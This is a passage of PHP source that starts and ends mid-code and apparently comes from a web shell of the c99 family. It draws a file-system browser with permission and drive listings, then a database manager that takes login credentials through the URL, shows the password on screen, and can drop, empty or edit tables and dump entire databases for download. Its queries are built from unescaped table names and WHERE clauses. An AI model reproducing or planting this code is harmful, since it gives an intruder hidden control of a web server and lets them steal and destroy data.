$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
$i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
$wd = TRUE;
$wdt = "<font color=green>[ ok ]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
$wd = FALSE;
$wdt = "<font color=red>[ Read-Only ]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
$v = explode("\\",$d);
$v = $v[0];
foreach (range("a","z") as $letter)
{
$bool = $isdiskette = in_array($letter,$safemode_diskettes);
if (!$bool) {$bool = is_dir($letter.":\\");}
if ($bool)
{
$letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=green>".$letter."</font>";}
$letters .= " ]</a> ";
}
}
if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
}
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
$sql_surl = $surl."act=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo "<b>SQL Manager:</b><br>";
if (!$sql_sock)
{
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
$sqlquicklaunch[] = array("Logout",$surl."act=sql");
echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
echo "</center>";
}
echo "</td></tr><tr>";
if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
else
{
//Start left panel
if (!empty($sql_db))
{

?>

<td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else
{
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else
{
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
}
//End left panel
echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert")
{
if ($sql_tbl_insert_radio == 1)
{
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_radio == 2)
{
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query")
{
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_act,$acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtbl")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else
{
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile)
{
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else
{
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{

}
else
{
echo "<br><br><b>Inserting row into table:</b><br>";
if (!empty($sql_tbl_insert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
foreach ($tbl_struct_fields as $field)
{
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_act == "browse")
{
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
$b = 0;
for($i=0;$i<$numpages;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo "&nbsp;";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++)
{
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
}
}
else
{
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
